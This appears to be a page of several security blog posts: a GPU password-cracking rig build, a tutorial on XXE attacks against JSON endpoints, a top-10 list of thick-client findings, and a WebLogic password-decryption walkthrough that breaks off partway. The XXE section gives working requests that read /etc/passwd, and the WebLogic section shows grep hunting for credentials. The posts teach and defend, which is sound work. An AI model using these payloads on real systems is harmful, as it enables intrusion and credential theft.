Back

GPU Cracking: Rebuilding the Box

A little over two years ago, we built our first GPU cracking box. At the time, there was pretty limited information on what people were doing to build a decent cracking box, especially if you were trying to do so without breaking the bank. As with any piece of technology, things go out of date, things get upgraded, and documentation needs to get updated. Since it’s now two years since I wrote about our first system , I figured it was time to write an update to show what we’re actually using for cracking hardware now.

The Case

We currently have two cracking systems, Development and Production. Our development system is seated in a really nice (and relatively cheap) case that we picked up from MiningRigs.net. The big downside of this case is that we can’t immediately buy another one. The group making the case had recently switched to a Kickstarter model (we were one of the only backers), but they secured outside funding for the cases and are now building more. As soon as they have them ready, we’re planning on picking up another one.

Dan Case

Our production system is currently housed in a much lower-tech case… Three Milkcrates. As you can see, we’ve graduated from server shelving to an arguably crazier option. After seeing a number of Bitcoin miners using the milkcrate method for cases, we moved our cards over. This has actually worked quite well. The only issue that we’ve run into (outside of noise) is high temperatures on some of the cards. We’ve been able to keep the heat issues away by manually setting the fan speeds on all of the cards to 100%.

Cratecase E

*Update (5/19/15): We actually got another rack-mount case for our production system. Goodbye milk crates.

B E C E C Dde Dae E Da C E

The Motherboard

One of the big changes that we were happy to see over the last two years was the move by hardware manufacturers to embrace Bitcoin miners (even though most have moved off of GPU mining). ASRock now makes a Bitcoin specific motherboard (H81 PRO BTC) that is specifically geared towards running multiple GPUs. With six PCI-E slots, it’s a very inexpensive ($65) choice for creating a cracking box. Five of the slots are PCI-E 1x slots (and mounted pretty closely together), so you will need to use risers to attach your cards.

The Risers/Extenders

Another Bitcoin focused product that we’ve been using are the USB 3.0 PCI-E risers  (or extenders). These little devices allow you to put a PCI-E 16x card into a PCI-E 1x slot. The card then attaches to the motherboard with a USB cable. Basically, these extend your PCI-E slots using USB cables. These are much cleaner and more reliable than the ribbon riser cables we started using.

The Cards

I will say that I really like the newer cards (R9 290) that we are currently running. They have decent cracking rates and I really haven’t had too many issues with them so far. The biggest issue has been heat. This can mostly be mitigated by having decent airflow around the case and setting the fan speeds on your cards to the max. The fan speeds can be set using the aticonfig command  (pre-R series cards) or od6config for newer cards. One of the biggest pains that I’ve dealt with on our systems is getting all the fans set correctly for all the cards, specifically when you have a mix of older and newer cards. For simplicity’s sake, I would recommend going with one card model for your cracking box. The newer cards are nice, but if you can find someone trying to offload some older 7950s, I would recommend buying those.

The Power Supplies

Our recommendations on power supplies haven’t changed. Only running one to three cards? You will probably be fine with one power supply. Going any higher and you will want two. Shoot for higher wattage power supplies (800+) and get a Y-Splitter.

CPU/RAM/Hard Drive

All of these can be generic. It doesn’t hurt to max these out, but they don’t really impact cracking performance. If you’re going to throw money around, throw it at your cards.

Here’s a pretty general parts and pricing list if you want to build your own.

ComponentModelEst. Price
Case6 GPU Rackmount Server Case$495
MotherboardASRock Motherboard H81 PRO BTC$64
Risers (6)PCI-E 1X To 16X USB 3.0 Riser Card$24
GPUs (6)XFX Black Edition R9 290$1,884
Power Supply (2)CORSAIR AX1200i 1200W$618
Power-SplitterDual PSU Adapter Cable$9
RAM8 GB – Any Brand$50
CPUIntel Celeron G1820 Dual-Core (2.7GHz)$45
HDD1 TB – Any Brand$50
Total $3,239

If you have any questions or better parts recommendations, feel free to leave a comment below.

Back

Playing with Content-Type – XXE on JSON Endpoints

Many web and mobile applications rely on web services communication for client-server interaction. Most common data formats for web services are XML, whether SOAP or RESTful, and JSON. While a web service may be programmed to use just one of them, the server may accept data formats that the developers did not anticipate. This may result in JSON endpoints being vulnerable to XML External Entity attacks (XXE), an attack that exploits weakly configured XML parser settings on the server.

XXE is a well-known attack against XML endpoints. To exploit it, external entity declarations are included in the XML payload, and the server expands the entities, potentially resulting in read access to the web server’s file system, remote file system access via UNC paths, or connections to arbitrary hosts over HTTP/HTTPS. XXE attacks rely on inline DOCTYPE definitions in the XML payload. In the following example, an external entity pointing to the /etc/passwd file on the web server is declared and the entity is included in the XML payload:

<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]

It’s a simple and neat attack. Time to play with the Content-Type header and HTTP request payloads to see if this could be exploited against JSON endpoints as well. A sample JSON request is listed below, with the Content-Type set to application/json (with silly sample data and most HTTP headers removed):

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

If the Content-Type header is changed to application/xml instead, the client is telling the server that the POST payload is XML formatted data. But if it’s not, the server will not be able to parse it may display an error similar to the following:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Request:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

The error indicates that the server is able to process XML formatted data as well as JSON formatted data but as the data wasn’t actually XML formatted like stated in the Content-Type header, it cannot be parsed. To overcome this, JSON has to be converted to XML. There are multiple online tools for that, and Eric Gruber created a Burp plugin to automate the conversion in Burp (Content-Type Converter).

Original JSON

{"search":"name","value":"netspitest"}

XML Conversion

<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>netspitest</value>

However, this straight up conversion results in an invalid XML document as it does not have a root element that’s required in well formatted XML documents. If the invalid XML is sent to the server. sometimes the server will respond with an error message stating what kind of root element was expected, along with the namespace. Otherwise the best guess is to add root element <root> which makes the XML valid.

<?xml version="1.0" encoding="UTF-8" ?>

<root>
<search>name</search>
<value>netspitest</value>
</root>

Now the original JSON request can be sent as XML and the server may return a valid response:

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

As the server accepts XML input, XXE can be exploited against a JSON endpoint.

HTTP Request:

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

Obviously, not every JSON endpoint accepts XML; changing the Content-Type header may not have any impact, or it may result in 415 Unsupported Media Type error message. But on the other hand, JSON to XML attacks are not limited to just POST payloads with JSON content. I have seen this work on JSON formatted GET and POST parameters as well. If the JSON parameter is converted and sent as XML, the server will guess what the content type is.

So, to harden a JSON endpoint, XML parsing should be disabled altogether and/or inline DOCTYPE declarations should be disabled to prevent XML external entity injections.

Back

Top 10 Critical Findings of 2014 – Thick Applications

2014 has come and gone, so we thought we’d put out a list of some of the most common critical findings that we saw during thick application penetration tests over the past year. We keep a massive amount of statistics for every assessment we do and in this blog I’ll cover high level trends and the top 10 vulnerabilities we found.  This should be interesting to application penetration testers and large companies that develop and manage their own code in house.

High Level Trends

Most of the thick applications we looked at were older and primarily written in Java, C#, and C/C++.  It’s still pretty common to see companies making them available over the internet via Citrix and Terminal service web interfaces. I also want to point out that when assessing newer thick applications we spend almost 90% of our time reviewing web service methods and configurations, because thick clients are basically just a wrapper for backend web service methods.

Below are the top 10 critical thick application findings for 2014 list in order from most to least common.

Cleartext Credential Storage

This is by far the most common thing we see across all of the thick applications we test. From our testing, credentials are usually stored in configuration files within the installation directory of an application, a local user preferences directory, or within the registry.  If you’re doing this, consider using integrated authentication and moving away from the two-tier architecture model.

Hardcoded Credentials in Source Code

Along with storing credentials on the operating system itself, we see applications with hardcoded credentials within their source code almost 100% of the time. This is mostly a problem in applications that use managed code: Java and C#/VBscript with .NET, for example. The most prevalent credentials? Database usernames and passwords. It’s very easy for a developer to hardcode them into source code and leave them there in production.  More times than not this results in the full compromise of the database and the backend database server.  Once again, if you’re doing something like this, consider using integrated authentication and moving away from the two-tier architecture model.

Hardcoded Encryption Keys

If an application uses encryption to protect sensitive information such as credentials, it is at least one step ahead of the curve. However, encryption is only as strong as where the key is held. Often times an encryption key is stored in an encryption function within the source code of an application. Again, hardcoded keys affect the majority of managed code applications that we see. If a static key is used on installation of an application, a user could use that key do decrypt data that someone else may have.  If this sounds like something you’ve done, consider moving the encryption of data to the server side were evil users can’t get their hands on your encryption keys.

Hardcoded or Nonexistent Salts

When using encryption, it is always a good idea to use a salt. However, if that salt is hardcoded in an application with an encryption key, it becomes pretty much useless. When it comes to encryption being a salty S.O.B. is a good thing.  Randomize! Randomize! Randomize!

Unencrypted Transmission of Data

We see a lot of applications that do not use encryption when transmitting data. Keep in mind that most of the applications that we test are used by the healthcare and financial industries, where sensitive information needs to be protected. While it is most common to find this over HTTP (web services), we see a fair amount of unencrypted TDS traffic for SQL data. If you don’t have encryption at the transport layer make sure to SSL (TLS) all the things!

SQL Injection

SQL Injection has been around for a long time and still affects many applications and services. Most of the applications we test access SQL databases on the backend, usually MSSQL and Oracle.  A lot of the backend processing for thick applications just don’t implement proper sanitation and parameterization of queries. As a result, it isn’t hard for a malicious user to attach a proxy to intercept HTTP and TDS requests.  Tools like Burp Suite and Echo Mirage make it pretty easy. Often times just inserting a single tick in an input field can cause a SQL error to pop up to the user. Make sure to enforce the principal of least privilege and sanitize your input everywhere!

Authorization Bypass

A lot of thick application employ security through GUI controls but leave web services completely wide open. A user that may not be able to access a piece of functionality through the GUI of a thick application, but can usually request what they need through a web service without any authorization checks.

XML External Entity Injection

Many thick applications employ XML for configuration files, HTTP requests and responses, and exporting and importing data. A lot of applications were simply created before the influx of entity injections attacks and thus were never properly protected against them on the client side or server side.  XXE often results in read access to files on the server, and UNC path injection that can be used to capture and crack credentials used to on associate web server. Most XML parsing libraries support disallowing declared DTDs and entities. This should be set as the default when reading XML to help prevent injection.

SQL Query Manipulation

It is not uncommon to see the use of direct SQL queries within an application that a user can freely edit for their use. We see this most often in custom search windows where a user is given the ability to search tables as they please. Executing SQL queries almost always leads to a complete takeover of the backend database server and, from there, movement within the environment.  The general recommendation is don’t do that unless your required use case is “allow users to take over the network”.

Custom Encryption

This has come up a couple of times within the past year where an application rolls its own encryption algorithms. More often than not this ends up being some type of substitution cipher where every character is replaced with another one. Simply reversing the algorithm gives you back the cleartext format of whatever was encrypted. NEVER ROLL YOUR OWN CRYPTO!

Back

Decrypting WebLogic Passwords

The following blog walks through part of a recent penetration test and the the decryption process for WebLogic passwords that came out of it. Using these passwords I was able to escalate onto other systems and Oracle databases. If you just want code and examples to perform this yourself, head here: https://github.com/NetSPI/WebLogicPasswordDecryptor.

Introduction

Recently on an internal penetration test I came across a couple of Linux servers with publicly accessible Samba shares. Often times, open shares contain something interesting. Whether it be user credentials or sensitive information, and depending on the client, open shares will contain something useful. In this instance, one of the shares contained a directory named “wls1035”. Going through the various acronyms in my head for software, this could either be Windows Live Spaces or WebLogic Server. Luckily it was the later and not Microsoft’s failed blogging platform.

WebLogic is an application server from Oracle for serving up enterprise Java applications. I was somewhat familiar with it, as I do see it time to time in enterprise environments, but I’ve never actually installed it or taken a look at its file structure. At this point I started to poke around the files to see if I could find anything useful, such as credentials. Doing a simple grep search for “password” revealed a whole lot of information. (This is not actual client data)

user@box:~/wls1035# grep -R "password" *
Binary file oracle_common/modules/oracle.jdbc_12.1.0/aqapi.jar matches
oracle_common/plugins/maven/com/oracle/maven/oracle-common/12.1.3/oracle-common-12.1.3.pom:    &lt;!-- and password for your server here. --&gt;
user_projects/domains/mydomain/bin/startManagedWebLogic.sh:#  to your system password for no username and password prompt 
user_projects/domains/mydomain/bin/stopManagedWebLogic.sh:# WLS_PW         - cleartext password for server shutdown
user_projects/domains/mydomain/bin/stopWebLogic.sh:	if [ "${password}" != "" ] ; then
user_projects/domains/mydomain/bin/stopWebLogic.sh:		wlsPassword="${password}"
user_projects/domains/mydomain/bin/stopWebLogic.sh:echo "connect(${userID} ${password} url='${ADMIN_URL}', adminServerName='${SERVER_NAME}')" &gt;&gt;"shutdown-${SERVER_NAME}.py" 
user_projects/domains/mydomain/bin/startWebLogic.sh:	JAVA_OPTIONS="${JAVA_OPTIONS} -Dweblogic.management.password=${WLS_PW}"
user_projects/domains/mydomain/bin/startWebLogic.sh:echo "*  password assigned to an admin-level user.  For *"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:    if [ -n "$username" -a -n "$password" ]; then
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       print_info "Investigating username: '$username' and password: '$password'"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$password" &gt;&gt;"$NMBootFile.tmp"
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       unset username password
user_projects/domains/mydomain/bin/nodemanager/wlscontrol.sh:       echo "password=$Password" &gt;&gt;"$NMBootFile.tmp"
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  &lt;nod:password&gt;{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user."&gt;

There weren’t any cleartext passwords, but there were encrypted ones in the same style as this: {AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=
I then narrowed down my search to see if I could find more of these passwords. This was the result:

user@box:~/wls1035# grep -R "{AES}" *
user_projects/domains/mydomain/init-info/config-nodemanager.xml:  &lt;nod:password&gt;{AES}WhtOtsAZ222p0IumkMzKwuhRYDP117Oc55xdMp332+I=&lt;/nod:password&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="OracleSystemUser" password="{AES}8/rTjIuC4mwlrlZgJK++LKmAThcoJMHyigbcJGIztug=" description="Oracle application software system user."&gt;
user_projects/domains/mydomain/init-info/security.xml:  &lt;user name="supersecretuser" password="{AES}BQp5xBlvsy6889edpwXUZxCbx7crRc5+TNuZHSBl50A="&gt;
user_projects/domains/mydomain/servers/myserver/security/boot.properties:username={AES}/DG7VFmJODIZJoQGmqxU8OQfkZxiKLuHQ69vqYPgxyY=
user_projects/domains/mydomain/servers/myserver/security/boot.properties:password={AES}Bqy44qL0EM4ZqIqxgIRQxXv1lg7PxZ7lI1DLlx7njts=
user_projects/domains/mydomain/config/config.xml:    &lt;credential-encrypted&gt;{AES}Yl6eIijqn+zdATECxKfhW/42wuXD5Y+j8TOwbibnXkz/p4oLA0GiI8hSCRvBW7IRt/kNFhdkW+v908ceU75vvBMB4jZ7S/Vdj+p+DcgE/33j82ZMJbrqZiQ8CVOEatOL&lt;/credential-encrypted&gt;
user_projects/domains/mydomain/config/config.xml:    &lt;node-manager-password-encrypted&gt;{AES}+sSbNNWb5K1feAUgG5Ah4Xy2VdVnBkSUXV8Rxt5nxbU=&lt;/node-manager-password-encrypted&gt;
user_projects/domains/mydomain/config/config.xml:    &lt;credential-encrypted&a